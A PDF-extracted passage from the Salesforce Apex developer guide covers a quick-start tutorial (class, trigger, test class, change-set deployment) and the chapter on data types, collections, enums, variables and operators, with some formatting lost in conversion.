The previous code is the class definition to which you will be adding one method in the next step. Apex code is generally contained in classes. This class is defined as public, which means the class is available to other Apex classes and triggers. For more information, see Classes, Objects, and Interfaces on page 54. 3. Add this method definition between the class opening and closing brackets.
public static void applyDiscount(Book__c[] books) { for (Book__c b :books){ b.Price__c *= 0.9; } }

This method is called applyDiscount, and it is both public and static. Because it is a static method, you don't need to create an instance of the class to access the methodyou can just use the name of the class followed by a dot (.) and the name of the method. For more information, see Static and Instance on page 61. This method takes one parameter, a list of Book records, which is assigned to the variable books. Notice the __c in the object name Book__c. This indicates that it is a custom object that you created. Standard objects that are provided in the Salesforce application, such as Account, don't end with this postfix. The next section of code contains the rest of the method definition:
for (Book__c b :books){ b.Price__c *= 0.9; }

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Notice the __c after the field name Price__c. This indicates it is a custom field that you created. Standard fields that are provided by default in Salesforce are accessed using the same type of dot notation but without the __c, for example, Name doesn't end with __c in Book__c.Name. The statement b.Price__c *= 0.9; takes the old value of b.Price__c, multiplies it by 0.9, which means its value will be discounted by 10%, and then stores the new value into the b.Price__c field. The *= operator is a shortcut. Another way to write this statement is b.Price__c = b.Price__c * 0.9;. See Understanding Expression Operators on page 39. 4. Click Save to save the new class. You should now have this full class definition.
public class MyHelloWorld { public static void applyDiscount(Book__c[] books) { for (Book__c b :books){ b.Price__c *= 0.9; } } }

You now have a class that contains some code that iterates over a list of books and updates the Price field for each book. This code is part of the applyDiscount static method called by the trigger that you will create in the next step.

Adding an Apex Trigger

Prerequisites: A Salesforce account in a sandbox Performance, Unlimited, or Enterprise Edition organization, or an account in a Developer organization. The MyHelloWorld Apex class.

In this step, you create a trigger for the Book__c custom object that calls the applyDiscount method of the MyHelloWorld class that you created in the previous step. A trigger is a piece of code that executes before or after records of a particular type are inserted, updated, or deleted from the Force.com platform database. Every trigger runs with a set of context variables that provide access to the records that caused the trigger to fire. All triggers run in bulk; that is, they process several records at once. 1. From Setup, click Create > Objects and click the name of the object you just created, Book. 2. In the triggers section, click New. 3. In the trigger editor, delete the default template code and enter this trigger definition:
trigger HelloWorldTrigger on Book__c (before insert) { Book__c[] books = Trigger.new; MyHelloWorld.applyDiscount(books); }

The first line of code defines the trigger:

trigger HelloWorldTrigger on Book__c (before insert) {

It gives the trigger a name, specifies the object on which it operates, and defines the events that cause it to fire. For example, this trigger is called HelloWorldTrigger, it operates on the Book__c object, and runs before new books are inserted into the database. The next line in the trigger creates a list of book records named books and assigns it the contents of a trigger context variable called Trigger.new. Trigger context variables such as Trigger.new are implicitly defined in all triggers and

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Adding a Test Class

provide access to the records that caused the trigger to fire. In this case, Trigger.new contains all the new books that are about to be inserted.
Book__c[] books = Trigger.new;

The next line in the code calls the method applyDiscount in the MyHelloWorld class. It passes in the array of new books.
MyHelloWorld.applyDiscount(books);

You now have all the code that is needed to update the price of all books that get inserted. However, there is still one piece of the puzzle missing. Unit tests are an important part of writing code and are required. In the next step, you will see why this is so and you will be able to add a test class.

Adding a Test Class

Prerequisites: A Salesforce account in a sandbox Performance, Unlimited, or Enterprise Edition organization, or an account in a Developer organization. The HelloWorldTrigger Apex trigger.

In this step, you add a test class with one test method. You also run the test and verify code coverage. The test method exercises and validates the code in the trigger and class. Also, it enables you to reach 100% code coverage for the trigger and class. Note: Testing is an important part of the development process. Before you can deploy Apex or package it for the Force.com AppExchange, the following must be true. At least 75% of your Apex code must be covered by unit tests, and all of those tests must complete successfully. Note the following. When deploying to a production organization, every unit test in your organization namespace is executed. Calls to System.debug are not counted as part of Apex code coverage. Test methods and test classes are not counted as part of Apex code coverage. While only 75% of your Apex code must be covered by tests, your focus shouldn't be on the percentage of code that is covered. Instead, you should make sure that every use case of your application is covered, including positive and negative cases, as well as bulk and single records. This should lead to 75% or more of your code being covered by unit tests.

Every trigger must have some test coverage. All classes and triggers must compile successfully.

1. From Setup, click Develop > Apex Classes and click New. 2. In the class editor, add this test class definition, and then click Save.
@isTest private class HelloWorldTestClass { static testMethod void validateHelloWorld() { Book__c b = new Book__c(Name='Behind the Cloud', Price__c=100); System.debug('Price before inserting new book: ' + b.Price__c); // Insert book insert b; // Retrieve the new book b = [SELECT Price__c FROM Book__c WHERE Id =:b.Id];

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System.debug('Price after trigger fired: ' + b.Price__c); // Test that the trigger correctly updated the price System.assertEquals(90, b.Price__c); } }

This class is defined using the @isTest annotation. Classes defined as such can only contain test methods. One advantage to creating a separate class for testing is that classes defined with isTest don't count against your organization limit of 3 MB for all Apex code. You can also add the @isTest annotation to individual methods. For more information, see IsTest Annotation on page 80 and Understanding Execution Governors and Limits. The method validateHelloWorld is defined as a testMethod. This means that if any changes are made to the database, they are automatically rolled back when execution completes and you don't have to delete any test data created in the test method. First the test method creates a new book and inserts it into the database temporarily. The System.debug statement writes the value of the price in the debug log.
Book__c b = new Book__c(Name='Behind the Cloud', Price__c=100); System.debug('Price before inserting new book: ' + b.Price__c); // Insert book insert b;

Once the book is inserted, the code retrieves the newly inserted book, using the ID that was initially assigned to the book when it was inserted, and then logs the new price that the trigger modified:
// Retrieve the new book b = [SELECT Price__c FROM Book__c WHERE Id =:b.Id]; System.debug('Price after trigger fired: ' + b.Price__c);

When the MyHelloWorld class runs, it updates the Price__c field and reduces its value by 10%. The following line is the actual test, verifying that the method applyDiscount actually ran and produced the expected result:
// Test that the trigger correctly updated the price System.assertEquals(90, b.Price__c);

3. Now lets switch to the Developer Console to run this test and view code coverage information. Click Your Name > Developer Console. The Developer Console window opens. 4. In the Developer Console, click Test > New Run. 5. To add your test class, click HelloWorldTestClass, and then click >. 6. To run the test, click Run. The test result displays in the Tests tab. Optionally, you can expand the test class in the Tests tab to view which methods were run. In this case, the class contains only one test method. 7. The Overall Code Coverage pane shows the code coverage of this test class. To view the lines of code in the trigger covered by this test, which is 100%, double-click the code coverage line for HelloWorldTrigger. Also, because the trigger calls a method from the MyHelloWorld class, this class has some coverage too (100%). To view the class coverage, double-click MyHelloWorld. 8. To open the log file, in the Logs tab, double-click the most recent log line in the list of logs. The execution log displays, including logging information about the trigger event, the call to the applyDiscount class method, and the debug output of the price before and after the trigger. By now, you have completed all the steps necessary for writing some Apex code with a test that runs in your development environment. In the real world, after youve sufficiently tested your code and youre satisfied with it, you want to deploy the 24

Apex Quick Start

Deploying Components to Production

code along with any other prerequisite components to a production organization. The next step will show you how to do this for the code and custom object youve just created.

Deploying Components to Production

Prerequisites: A Salesforce account in a sandbox Performance, Unlimited, or Enterprise Edition organization. The HelloWorldTestClass Apex test class. A deployment connection between the sandbox and production organizations that allows inbound change sets to be received by the production organization. See Change Sets Overview in the Salesforce online help. Create and Upload Change Sets user permission to create, edit, or upload outbound change sets.

In this step, you deploy the Apex code and the custom object you created previously to your production organization using change sets. This procedure doesn't apply to Developer organizations since change sets are available only in Performance, Unlimited, Enterprise, or Database.com Edition organizations. If you have a Developer Edition account, you can use other deployment methods. For more information, see Deploying Apex. 1. 2. 3. 4. 5. 6. From Setup, click Deploy > Outbound Changesets. If a splash page appears, click Continue. In the Change Sets list, click New. Enter a name for your change set, for example, HelloWorldChangeSet, and optionally a description. Click Save. In the Change Set Components section, click Add. Select Apex Class from the component type drop-down list, then select the MyHelloWorld and the HelloWorldTestClass classes from the list and click Add to Change Set. 7. Click View/Add Dependencies to add the dependent components. 8. Select the top checkbox to select all components. Click Add To Change Set. 9. In the Change Set Detail section of the change set page, click Upload. 10. Select the target organization, in this case production, and click Upload. 11. After the change set upload completes, deploy it in your production organization. a. b. c. d. e. Log into your production organization. From Setup, click Deploy > Inbound Change Sets. If a splash page appears, click Continue. In the change sets awaiting deployment list, click your change set's name. Click Deploy.

In this tutorial, you learned how to create a custom object, how to add an Apex trigger, class, and test class. Finally, you also learned how to test your code, and how to upload the code and the custom object using Change Sets.

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WRITING APEX

Chapter 4
Data Types and Variables
In this chapter ... Data Types Primitive Data Types Collections Enums Variables Constants Expressions and Operators Assignment Statements Understanding Rules of Conversion
In this chapter youll learn about data types and variables in Apex. Youll also learn about related language constructsenums, constants, expressions, operators, and assignment statements.

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Data Types and Variables

Data Types

Data Types
In Apex, all variables and expressions have a data type that is one of the following: A primitive, such as an Integer, Double, Long, Date, Datetime, String, ID, or Boolean (see Primitive Data Types on page 27) An sObject, either as a generic sObject or as a specific sObject, such as an Account, Contact, or MyCustomObject__c (see sObject Types on page 99 in Chapter 4.) A collection, including: A list (or array) of primitives, sObjects, user defined objects, objects created from Apex classes, or collections (see Lists on page 30) A set of primitives (see Sets on page 32) A map from a primitive to a primitive, sObject, or collection (see Maps on page 33) A typed list of values, also known as an enum (see Enums on page 35) Objects created from user-defined Apex classes (see Classes, Objects, and Interfaces on page 54) Objects created from system supplied Apex classes Null (for the null constant, which can be assigned to any variable)

Methods can return values of any of the listed types, or return no value and be of type Void. Type checking is strictly enforced at compile time. For example, the parser generates an error if an object field of type Integer is assigned a value of type String. However, all compile-time exceptions are returned as specific fault codes, with the line number and column of the error. For more information, see Debugging Apex on page 340.

Primitive Data Types

Apex uses the same primitive data types as the SOAP API. All primitive data types are passed by value. All Apex variables, whether theyre class member variables or method variables, are initialized to null. Make sure that you initialize your variables to appropriate values before using them. For example, initialize a Boolean variable to false. Apex primitive data types include: Data Type Blob Description A collection of binary data stored as a single object. You can convert this datatype to String or from String using the toString and valueOf methods, respectively. Blobs can be accepted as Web service arguments, stored in a document (the body of a document is a Blob), or sent as attachments. For more information, see Crypto Class. A value that can only be assigned true, false, or null. For example:
Boolean isWinner = true;

Boolean

Date

A value that indicates a particular day. Unlike Datetime values, Date values contain no information about time. Date values must always be created with a system static method. You cannot manipulate a Date value, such as add days, merely by adding a number to a Date variable. You must use the Date methods instead.

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Primitive Data Types

Data Type Datetime

Description A value that indicates a particular day and time, such as a timestamp. Datetime values must always be created with a system static method. You cannot manipulate a Datetime value, such as add minutes, merely by adding a number to a Datetime variable. You must use the Datetime methods instead.

Decimal

A number that includes a decimal point. Decimal is an arbitrary precision number. Currency fields are automatically assigned the type Decimal. If you do not explicitly set the scale, that is, the number of decimal places, for a Decimal using the setScale method, the scale is determined by the item from which the Decimal is created. If the Decimal is created as part of a query, the scale is based on the scale of the field returned from the query. If the Decimal is created from a String, the scale is the number of characters after the decimal point of the String. If the Decimal is created from a non-decimal number, the scale is determined by converting the number to a String and then using the number of characters after the decimal point.

Double

A 64-bit number that includes a decimal point. Doubles have a minimum value of -263 and a maximum value of 263-1. For example:
Double d=3.14159;

Note that scientific notation (e) for Doubles is not supported. ID Any valid 18-character Force.com record identifier. For example:
ID id='00300000003T2PGAA0';

Note that if you set ID to a 15-character value, Apex automatically converts the value to its 18-character representation. All invalid ID values are rejected with a runtime exception. Integer A 32-bit number that does not include a decimal point. Integers have a minimum value of -2,147,483,648 and a maximum value of 2,147,483,647. For example:
Integer i = 1;

Long

A 64-bit number that does not include a decimal point. Longs have a minimum value of -263 and a maximum value of 263-1. Use this datatype when you need a range of values wider than those provided by Integer. For example:
Long l = 2147483648L;

Object

Any data type that is supported in Apexprimitive data types (such as Integer), user-defined custom classes, the sObject generic type, or an sObject specific type (such as Account). All Apex data types inherit from Object.

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Primitive Data Types

Data Type

Description You can cast an object that represents a more specific data type to its underlying data type. For example:
Object obj = 10; // Cast the object to an integer. Integer i = (Integer)obj; System.assertEquals(10, i);

The next example shows how to cast an object to a user-defined typea custom Apex class named MyApexClass that is predefined in your organization.
Object obj = new MyApexClass(); // Cast the object to the MyApexClass custom type. MyApexClass mc = (MyApexClass)obj; // Access a method on the user-defined class. mc.someClassMethod();

String

Any set of characters surrounded by single quotes. For example,

String s = 'The quick brown fox jumped over the lazy dog.';

String size: Strings have no limit on the number of characters they can include. Instead, the heap size limit is used to ensure that your Apex programs don't grow too large. Empty Strings and Trailing Whitespace: sObject String field values follow the same rules as in the SOAP API: they can never be empty (only null), and they can never include leading and trailing whitespace. These conventions are necessary for database storage. Conversely, Strings in Apex can be null or empty, and can include leading and trailing whitespace (such as might be used to construct a message). The Solution sObject field SolutionNote operates as a special type of String. If you have HTML Solutions enabled, any HTML tags used in this field are verified before the object is created or updated. If invalid HTML is entered, an error is thrown. Any JavaScript used in this field is removed before the object is created or updated. In the following example, when the Solution displays on a detail page, the SolutionNote field has H1 HTML formatting applied to it:
trigger t on Solution (before insert) { Trigger.new[0].SolutionNote ='<h1>hello</h1>'; }

In the following example, when the Solution displays on a detail page, the SolutionNote field only contains HelloGoodbye:
trigger t2 on Solution (before insert) { Trigger.new[0].SolutionNote = '<javascript>Hello</javascript>Goodbye'; }

For more information, see HTML Solutions Overview in the Salesforce online help. Escape Sequences: All Strings in Apex use the same escape sequences as SOQL strings: \b (backspace), \t (tab), \n (line feed), \f (form feed), \r (carriage return), \" (double quote), \' (single quote), and \\ (backslash).

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Collections

Data Type

Description Comparison Operators: Unlike Java, Apex Strings support use of the comparison operators ==, !=, <, <=, >, and >=. Since Apex uses SOQL comparison semantics, results for Strings are collated according to the context user's locale, and `are not case sensitive. For more information, see Operators on page 39. String Methods: As in Java, Strings can be manipulated with a number of standard methods. See String Class for information. Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that is too long for the field.

Time

A value that indicates a particular time. Time values must always be created with a system static method. See Time Class.

In addition, two non-standard primitive data types cannot be used as variable or method types, but do appear in system static methods: AnyType. The valueOf static method converts an sObject field of type AnyType to a standard primitive. AnyType is used within the Force.com platform database exclusively for sObject fields in field history tracking tables. Currency. The Currency.newInstance static method creates a literal of type Currency. This method is for use solely within SOQL and SOSL WHERE clauses to filter against sObject currency fields. You cannot instantiate Currency in any other type of Apex.

For more information on the AnyType data type, see Field Types in the Object Reference for Salesforce and Force.com.

Collections
Apex has the following types of collections: Lists Maps Sets Note: There is no limit on the number of items a collection can hold. However, there is a general limit on heap size.

Lists
A list is an ordered collection of elements that are distinguished by their indices. List elements can be of any data typeprimitive types, collections, sObjects, user-defined types, and built-in Apex types. For example, the following table is a visual representation of a list of Strings: Index 0 'Red' Index 1 'Orange' Index 2 'Yellow' Index 3 'Green' Index 4 'Blue' Index 5 'Purple'

The index position of the first element in a list is always 0.

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Data Types and Variables

Lists

Lists can contain any collection and can be nested within one another and become multidimensional. For example, you can have a list of lists of sets of Integers. A list can contain up to four levels of nested collections inside it, that is, a total of five levels overall. To declare a list, use the List keyword followed by the primitive data, sObject, nested list, map, or set type within <> characters. For example:
// Create an empty list of String List<String> my_list = new List<String>(); // Create a nested list List<List<Set<Integer>>> my_list_2 = new List<List<Set<Integer>>>();

To access elements in a list, use the List methods provided by Apex. For example:
List<Integer> myList = new List<Integer>(); // Define a new list myList.add(47); // Adds a second element of value 47 to the end // of the list Integer i = myList.get(0); // Retrieves the element at index 0 myList.set(0, 1); // Adds the integer 1 to the list at index 0 myList.clear(); // Removes all elements from the list

For more information, including a complete list of all supported methods, see List Class on page 1164. Using Array Notation for One-Dimensional Lists When using one-dimensional lists of primitives or objects, you can also use more traditional array notation to declare and reference list elements. For example, you can declare a one-dimensional list of primitives or objects by following the data type name with the [] characters:
String[] colors = new List<String>();

These two statements are equivalent to the previous:

List<String> colors = new String[1]; String[] colors = new String[1];

To reference an element of a one-dimensional list, you can also follow the name of the list with the element's index position in square brackets. For example:
colors[0] = 'Green';

Even though the size of the previous String array is defined as one element (the number between the brackets in new String[1]), lists are elastic and can grow as needed provided that you use the List add method to add new elements. For example, you can add two or more elements to the colors list. But if youre using square brackets to add an element to a list, the list behaves like an array and isnt elastic, that is, you wont be allowed to add more elements than the declared array size. All lists are initialized to null. Lists can be assigned values and allocated memory using literal notation. For example: Example
List<Integer> ints = new Integer[0];

Description Defines an Integer list of size zero with no elements Defines an Integer list with memory allocated for six Integers

List<Integer> ints = new Integer[6];

31

Data Types and Variables

Sets

List Sorting
You can sort list elements and the sort order depends on the data type of the elements. Using the List.sort method, you can sort elements in a list. Sorting is in ascending order for elements of primitive data types, such as strings. The sort order of other more complex data types is described in the chapters covering those data types. This example shows how to sort a list of strings and verifies that the colors are in ascending order in the list.
List<String> colors = new List<String>{ 'Yellow', 'Red', 'Green'}; colors.sort(); System.assertEquals('Green', colors.get(0)); System.assertEquals('Red', colors.get(1)); System.assertEquals('Yellow', colors.get(2));

For the Visualforce SelectOption control, sorting is in ascending order based on the value and label fields. See this next section for the sequence of comparison steps used for SelectOption. Default Sort Order for SelectOption The List.sort method sorts SelectOption elements in ascending order using the value and label fields, and is based on this comparison sequence. 1. The value field is used for sorting first. 2. If two value fields have the same value or are both empty, the label field is used. Note that the disabled field is not used for sorting. For text fields, the sort algorithm uses the Unicode sort order. Also, empty fields precede non-empty fields in the sort order. In this example, a list contains three SelectOption elements. Two elements, United States and Mexico, have the same value field (A). The List.sort method sorts these two elements based on the label field, and places Mexico before United States, as shown in the output. The last element in the sorted list is Canada and is sorted on its value field C, which comes after A.
List<SelectOption> options = new List<SelectOption>(); options.add(new SelectOption('A','United States')); options.add(new SelectOption('C','Canada')); options.add(new SelectOption('A','Mexico')); System.debug('Before sorting: ' + options); options.sort(); System.debug('After sorting: ' + options);

This is the output of the debug statements. It shows the list contents before and after the sort.
DEBUG|Before sorting: (System.SelectOption[value="A", label="United States", disabled="false"], System.SelectOption[value="C", label="Canada", disabled="false"], System.SelectOption[value="A", label="Mexico", disabled="false"]) DEBUG|After sorting: (System.SelectOption[value="A", label="Mexico", disabled="false"], System.SelectOption[value="A", label="United States", disabled="false"], System.SelectOption[value="C", label="Canada", disabled="false"])

Sets
A set is an unordered collection of elements that do not contain any duplicates. Set elements can be of any data typeprimitive types, collections, sObjects, user-defined types, and built-in Apex types. For example, the following table represents a set of strings, that uses city names: 32

Data Types and Variables

Maps

'San Francisco'

'New York'

'Paris'

'Tokyo'

Sets can contain collections that can be nested within one another. For example, you can have a set of lists of sets of Integers. A set can contain up to four levels of nested collections inside it, that is, up to five levels overall. To declare a set, use the Set keyword followed by the primitive data type name within <> characters. For example:
new Set<String>()

The following are ways to declare and populate a set:

Set<String> s1 = new Set<String>{'a', 'b + c'}; // Defines a new set with two elements Set<String> s2 = new Set<String>(s1); // Defines a new set that contains the // elements of the set created in the previous step

To access elements in a set, use the system methods provided by Apex. For example:
Set<Integer> s = new Set<Integer>(); s.add(1); System.assert(s.contains(1)); s.remove(1); // // // // Define Add an Assert Remove a new set element to the set that the set contains an element the element from the set

For more information, including a complete list of all supported set system methods, see Set Class on page 1268. Note the following limitations on sets: Unlike Java, Apex developers do not need to reference the algorithm that is used to implement a set in their declarations (for example, HashSet or TreeSet). Apex uses a hash structure for all sets. A set is an unordered collection. Do not rely on the order in which set results are returned. The order of objects returned by sets may change without warning.

Maps
A map is a collection of key-value pairs where each unique key maps to a single value. Keys and values can be any data typeprimitive types, collections, sObjects, user-defined types, and built-in Apex types. For example, the following table represents a map of countries and currencies: Country (Key) Currency (Value) 'United States' 'Dollar' 'Japan' 'Yen' 'France' 'Euro' 'England' 'Pound' 'India' 'Rupee'

Map keys and values can contain any collection, and can contain nested collections. For example, you can have a map of Integers to maps, which, in turn, map Strings to lists. Map keys can contain up to only four levels of nested collections. To declare a map, use the Map keyword followed by the data types of the key and the value within <> characters. For example:
Map<String, String> country_currencies = new Map<String, String>(); Map<ID, Set<String>> m = new Map<ID, Set<String>>();

You can use the generic or specific sObject data types with maps (youll learn more about maps with sObjects in a later chapter). You can also create a generic instance of a map.

33

Data Types and Variables

Parameterized Typing

As with lists, you can populate map key-value pairs when the map is declared by using curly brace ({}) syntax. Within the curly braces, specify the key first, then specify the value for that key using =>. For example:
Map<String, String> MyStrings = new Map<String, String>{'a' => 'b', 'c' => 'd'.toUpperCase()};

In the first example, the value for the key a is b, and the value for the key c is d. To access elements in a map, use the Map methods provided by Apex. This example creates a map of integer keys and string values. It adds two entries, checks for the existence of the first key, retrieves the value for the second entry, and finally gets the set of all keys.
Map<Integer, String> m = new Map<Integer, String>(); // Define a new map m.put(1, 'First entry'); // Insert a new key-value pair in the map m.put(2, 'Second entry'); // Insert a new key-value pair in the map System.assert(m.containsKey(1)); // Assert that the map contains a key String value = m.get(2); // Retrieve a value, given a particular key System.assertEquals('Second entry', value); Set<Integer> s = m.keySet(); // Return a set that contains all of the keys in the map

For more information, including a complete list of all supported Map methods, see Map Class on page 1178. Map Considerations Unlike Java, Apex developers do not need to reference the algorithm that is used to implement a map in their declarations (for example, HashMap or TreeMap). Apex uses a hash structure for all maps. Do not rely on the order in which map results are returned. The order of objects returned by maps may change without warning. Always access map elements by key. A map key can hold the null value. Adding a map entry with a key that matches an existing key in the map overwrites the existing entry with that key with the new entry. Map keys of type String are case-sensitive. Two keys that differ only by the case are considered unique and have corresponding distinct Map entries. Subsequently, the Map methods, including put, get, containsKey, and remove treat these keys as distinct. Uniqueness of map keys of user-defined types is determined by the equals and hashCode methods, which you provide in your classes. Uniqueness of keys of all other non-primitive types, such as sObject keys, is determined by comparing the objects field values.

Parameterized Typing
Apex, in general, is a statically-typed programming language, which means users must specify the data type for a variable before that variable can be used. For example, the following is legal in Apex:
Integer x = 1;

The following is not legal if x has not been defined earlier:

x = 1;

Lists, maps and sets are parameterized in Apex: they take any data type Apex supports for them as an argument. That data type must be replaced with an actual data type upon construction of the list, map or set. For example:
List<String> myList = new List<String>();

34

Data Types and Variables

Enums

Subtyping with Parameterized Lists In Apex, if type T is a subtype of U, then List<T> would be a subtype of List<U>. For example, the following is legal:
List<String> slst = new List<String> {'foo', 'bar'}; List<Object> olst = slst;

Enums
An enum is an abstract data type with values that each take on exactly one of a finite set of identifiers that you specify. Enums are typically used to define a set of possible values that dont otherwise have a numerical order, such as the suit of a card, or a particular season of the year. Although each value corresponds to a distinct integer value, the enum hides this implementation so that you dont inadvertently misuse the values, such as using them to perform arithmetic. After you create an enum, variables, method arguments, and return types can be declared of that type. Note: Unlike Java, the enum type itself has no constructor syntax.

To define an enum, use the enum keyword in your declaration and use curly braces to demarcate the list of possible values. For example, the following code creates an enum called Season:
public enum Season {WINTER, SPRING, SUMMER, FALL}

By creating the enum Season, you have also created a new data type called Season. You can use this new data type as you might any other data type. For example:
Season e = Season.WINTER; Season m(Integer x, Season e) { if (e == Season.SUMMER) return e; //... }

You can also define a class as an enum. Note that when you create an enum class you do not use the class keyword in the definition.
public enum MyEnumClass { X, Y }

You can use an enum in any place you can use another data type name. If you define a variable whose type is an enum, any object you assign to it must be an instance of that enum class. Any webService methods can use enum types as part of their signature. When this occurs, the associated WSDL file includes definitions for the enum and its values, which can then be used by the API client. Apex provides the following system-defined enums:
System.StatusCode

This enum corresponds to the API error code that is exposed in the WSDL document for all API operations. For example:
StatusCode.CANNOT_INSERT_UPDATE_ACTIVATE_ENTITY StatusCode.INSUFFICIENT_ACCESS_ON_CROSS_REFERENCE_ENTITY

35

Data Types and Variables

Variables

The full list of status codes is available in the WSDL file for your organization. For more information about accessing the WSDL file for your organization, see Downloading Salesforce WSDLs and Client Authentication Certificates in the Salesforce online help.
System.XmlTag:

This enum returns a list of XML tags used for parsing the result XML from a webService method. For more information, see XmlStreamReader Class.
System.ApplicationReadWriteMode: This enum indicates if an organization is in 5 Minute Upgrade read-only mode during Salesforce upgrades and downtimes. For more information, see Using the System.ApplicationReadWriteMode

Enum.
System.LoggingLevel:

This enum is used with the system.debug method, to specify the log level for all debug calls. For more information, see System Class.
System.RoundingMode:

This enum is used by methods that perform mathematical operations to specify the rounding behavior for the operation, such as the Decimal divide method and the Double round method. For more information, see Rounding Mode.
System.SoapType:

This enum is returned by the field describe result getSoapType method. For more informations, see SOAPType Enum.
System.DisplayType:

This enum is returned by the field describe result getType method. For more information, see DisplayType Enum.
System.JSONToken:

This enum is used for parsing JSON content. For more information, see JSONToken Enum.
ApexPages.Severity:

This enum specifies the severity of a Visualforce message. For more information, see ApexPages.Severity Enum.
Dom.XmlNodeType:

This enum specifies the node type in a DOM document. Note: System-defined enums cannot be used in Web service methods.

All enum values, including system enums, have common methods associated with them. For more information, see Enum Methods. You cannot add user-defined methods to enum values.

Variables
Local variables are declared with Java-style syntax. For example:
Integer i = 0; String str; List<String> strList; Set<String> s; Map<ID, String> m;

36

Data Types and Variables

Variables

As with Java, multiple variables can be declared and initialized in a single statement, using comma separation. For example:
Integer i, j, k;

Null Variables and Initial Values

If you declare a variable and don't initialize it with a value, it will be null. In essence, null means the absence of a value. You can also assign null to any variable declared with a primitive type. For example, both of these statements result in a variable set to null:
Boolean x = null; Decimal d;

Many instance methods on the data type will fail if the variable is null. In this example, the second statement generates an exception (NullPointerException)
Date d; d.addDays(2);

All variables are initialized to null if they arent assigned a value. For instance, in the following example, i, and k are assigned values, while the integer variable j and the boolean variable b are set to null because they arent explicitly initialized.
Integer i = 0, j, k = 1; Boolean b;

Note: A common pitfall is to assume that an uninitialized boolean variable is initialized to false by the system. This isnt the case. Like all other variables, boolean variables are null if not assigned a value explicitly.

Variable Scope
Variables can be defined at any point in a block, and take on scope from that point forward. Sub-blocks cant redefine a variable name that has already been used in a parent block, but parallel blocks can reuse a variable name. For example:
Integer i; { // Integer i; }

This declaration is not allowed

for (Integer j = 0; j < 10; j++); for (Integer j = 0; j < 10; j++);

Case Sensitivity
To avoid confusion with case-insensitive SOQL and SOSL queries, Apex is also case-insensitive. This means: Variable and method names are case-insensitive. For example:
Integer I; //Integer i;

This would be an error.

References to object and field names are case-insensitive. For example:

Account a1; ACCOUNT a2;

37

Data Types and Variables

Constants

SOQL and SOSL statements are case- insensitive. For example:

Account[] accts = [sELect ID From ACCouNT where nAme = 'fred'];

Note: Youll learn more about sObjects, SOQL and SOSL later in this guide.

Also note that Apex uses the same filtering semantics as SOQL, which is the basis for comparisons in the SOAP API and the Salesforce user interface. The use of these semantics can lead to some interesting behavior. For example, if an end-user generates a report based on a filter for values that come before 'm' in the alphabet (that is, values < 'm'), null fields are returned in the result. The rationale for this behavior is that users typically think of a field without a value as just a space character, rather than its actual null value. Consequently, in Apex, the following expressions all evaluate to true:
String s; System.assert('a' == 'A'); System.assert(s < 'b'); System.assert(!(s > 'b'));

Note: Although s < 'b' evaluates to true in the example above, 'b.'compareTo(s) generates an error because youre trying to compare a letter to a null value.

Constants
Apex constants are variables whose values dont change after being initialized once. Constants can be defined using the final keyword, which means that the variable can be assigned at most once, either in the declaration itself, or with a static initializer method if the constant is defined in a class. This example declares two constants. The first is initialized in the declaration statement. The second is assigned a value in a static block by calling a static method.
public class myCls { static final Integer PRIVATE_INT_CONST = 200; static final Integer PRIVATE_INT_CONST2; public static Integer calculate() { return 2 + 7; } static { PRIVATE_INT_CONST2 = calculate(); } }

For more information, see Using the final Keyword on page 74.

Expressions and Operators

An expression is a construct made up of variables, operators, and method invocations that evaluates to a single value. This section provides an overview of expressions in Apex and contains the following: Understanding Expressions Understanding Expression Operators Understanding Operator Precedence Expanding sObject and List Expressions

38

Data Types and Variables

Understanding Expressions

Using Comments

Understanding Expressions
An expression is a construct made up of variables, operators, and method invocations that evaluates to a single value. In Apex, an expression is always one of the following types: A literal expression. For example:
1 + 1

A new sObject, Apex object, list, set, or map. For example:

new new new new new new new Account(<field_initializers>) Integer[<n>] Account[]{<elements>} List<Account>() Set<String>{} Map<String, Integer>() myRenamingClass(string oldName, string newName)

Any value that can act as the left-hand of an assignment operator (L-values), including variables, one-dimensional list positions, and most sObject or Apex object field references. For example:
Integer i myList[3] myContact.name myRenamingClass.oldName

Any sObject field reference that is not an L-value, including: The ID of an sObject in a list (see Lists) A set of child records associated with an sObject (for example, the set of contacts associated with a particular account). This type of expression yields a query result, much like SOQL and SOSL queries.

A SOQL or SOSL query surrounded by square brackets, allowing for on-the-fly evaluation in Apex. For example:
Account[] aa = [SELECT Id, Name FROM Account WHERE Name ='Acme']; Integer i = [SELECT COUNT() FROM Contact WHERE LastName ='Weissman']; List<List<SObject>> searchList = [FIND 'map*' IN ALL FIELDS RETURNING Account (Id, Name), Contact, Opportunity, Lead];

For information, see SOQL and SOSL Queries on page 129. A static or instance method invocation. For example:
System.assert(true) myRenamingClass.replaceNames() changePoint(new Point(x, y));

Understanding Expression Operators

Expressions can also be joined to one another with operators to create compound expressions. Apex supports the following operators:

39

Data Types and Variables

Understanding Expression Operators

Operator
=

Syntax
x = y

Description Assignment operator (Right associative). Assigns the value of y to the L-value x. Note that the data type of x must match the data type of y, and cannot be null. Addition assignment operator (Right associative). Adds the value of y to the original value of x and then reassigns the new value to x. See + for additional information. x and y cannot be null. Multiplication assignment operator (Right associative). Multiplies the value of y with the original value of x and then reassigns the new value to x. Note that x and y must be Integers or Doubles, or a combination. x and y cannot be null. Subtraction assignment operator (Right associative). Subtracts the value of y from the original value of x and then reassigns the new value to x. Note that x and y must be Integers or Doubles, or a combination. x and y cannot be null. Division assignment operator (Right associative). Divides the original value of x with the value of y and then reassigns the new value to x. Note that x and y must be Integers or Doubles, or a combination. x and y cannot be null. OR assignment operator (Right associative). If x, a Boolean, and y, a Boolean, are both false, then x remains false. Otherwise, x is assigned the value of true. Note: This operator exhibits short-circuiting behavior, which means y is evaluated only if x is false. x and y cannot be null.

+=

x += y

*=

x *= y

-=

x -= y

/=

x /= y

|=

x |= y

&=

x &= y

AND assignment operator (Right associative). If x, a Boolean, and y, a Boolean, are both true, then x remains true. Otherwise, x is assigned the value of false. Note: This operator exhibits short-circuiting behavior, which means y is evaluated only if x is true. x and y cannot be null.

<<=

x <<= y

Bitwise shift left assignment operator. Shifts each bit in x to the left by y bits so that the high order bits are lost, and the new right bits are set to 0. This value is then reassigned to x. Bitwise shift right signed assignment operator. Shifts each bit in x to the right by y bits so that the low order bits are lost, and the new left bits are set to 0 for positive values of y and 1 for negative values of y. This value is then reassigned to x. Bitwise shift right unsigned assignment operator. Shifts each bit in x to the right by y bits so that the low order bits are lost, and the new left bits are set to 0 for all values of y. This value is then reassigned to x.

>>=

x >>= y

>>>=

x >>>= y

40

Data Types and Variables

Understanding Expression Operators

